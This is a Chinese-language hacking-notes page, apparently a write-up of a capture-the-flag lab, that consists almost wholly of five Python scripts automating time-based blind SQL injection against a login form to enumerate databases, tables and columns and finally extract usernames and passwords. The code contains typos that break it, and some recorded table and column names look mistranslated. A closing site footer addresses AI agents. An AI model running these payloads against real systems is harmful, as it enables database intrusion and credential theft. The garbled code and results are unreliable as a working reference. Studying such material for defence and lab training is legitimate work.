> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# 基于时间的 SQLi

#### 使用 Python 脚本自动化漏洞利用

我们开发了一个 Python 脚本，用于通过 SQL 注入自动化数据提取。该脚本会提取数据库名称、表名、列名，最后提取用户名和密码等敏感数据。

### 数据库：

**用于提取数据库名称的脚本示例：**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# 基于时间的 SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("开始 SQL 注入攻击...")
    for position in range(1, 100):
        character_found = False  # 用于验证是否已找到字符的指示器
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"请求失败：{e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        # 如果在该位置没有找到字符，我们就停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    logger.info("SQL 注入完成！")
    logger.info(f"最终提取的数据：{extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **数据库名称**: `monitorsthree_db`

<figure><img src="/files/43094c2e336409fed7997a90949461dc497e61f7" alt=""><figcaption></figcaption></figure>

### **数据库：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# 基于时间的 SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"正在偏移量 {offset} 处提取数据库名称...")
    for position in range(1, 100):
        character_found = False  # 用于验证是否已找到字符的指示器
        for character in characters:
            # 使用所需变量格式化 SQL 查询
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"请求失败：{e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        # 如果在该位置没有找到字符，我们就停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # 用于提取数据库名称的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("未找到更多数据库。")
            break
        databases.append(database_name)
        logger.info(f"找到数据库：{database_name}")
        offset += 1
    logger.info("SQL 注入完成！")
    logger.info(f"数据库列表：{databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/699f0df1d5274b71f636a3d731e6ca877c93c539" alt=""><figcaption></figcaption></figure>

### **表：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# 基于时间的 SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"正在偏移量 {offset} 处提取表名...")
    for position in range(1, 100):
        character_found = False  # 用于验证是否已找到字符的指示器
        for character in characters:
            # 使用所需变量格式化 SQL 查询
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"请求失败：{e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        # 如果在该位置没有找到字符，我们就停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # 用于提取数据库 `monitorsthree_db` 中表名的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("未找到更多表。")
            break
        tables.append(table_name)
        logger.info(f"找到表：{table_name}")
        offset += 1
    logger.info("SQL 注入完成！")
    logger.info(f"monitorsthree_db 中的表列表：{tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **表**: `发票`, `客户`, `变更日志`, `tasks`, `发票任务`, `users`

<figure><img src="/files/9b54e95003980fa0c945feb0b22b60fd5243f79e" alt=""><figcaption></figcaption></figure>

### **列：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# 基于时间的 SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"正在偏移量 {offset} 处提取列名...")
    for position in range(1, 100):
        character_found = False  # 用于验证是否已找到字符的指示器
        for character in characters:
            # 使用所需变量格式化 SQL 查询
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"请求失败：{e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        # 如果在该位置没有找到字符，我们就停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # 用于提取表 `users` 的列名的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("未找到更多列。")
            break
        columns.append(column_name)
        logger.info(f"找到列：{column_name}")
        offset += 1
    logger.info("SQL 注入完成！")
    logger.info(f"表 'users' 中的列列表：{columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **表的列 `users`**: `id`, `username`, `email`, `密码`, `name`, `职位`, `出生日期`, `开始日期`, `薪资`

<figure><img src="/files/e39b744aa6494ebf353ab264ccd2bc1715c564f7" alt=""><figcaption></figcaption></figure>

### **提取的数据**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# 基于时间的 SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"正在偏移量 {offset} 处提取数据...")
    for position in range(1, 100):
        character_found = False  # 用于验证是否已找到字符的指示器
        for character in characters:
            # 使用所需变量格式化 SQL 查询
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"请求失败：{e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        # 如果在该位置没有找到字符，我们就停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # 用于提取用户名的请求
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # 用于提取密码的请求
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("未找到更多凭据。")
            break
        credentials.append((username, password))
        logger.info(f"找到凭据：{username}:{password}")
        offset += 1
    logger.info("SQL 注入完成！")
    logger.info(f"凭据列表：{credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击以提取凭据。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/1b2d6f65d9b6ea49d196e7f34790311da416d210" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
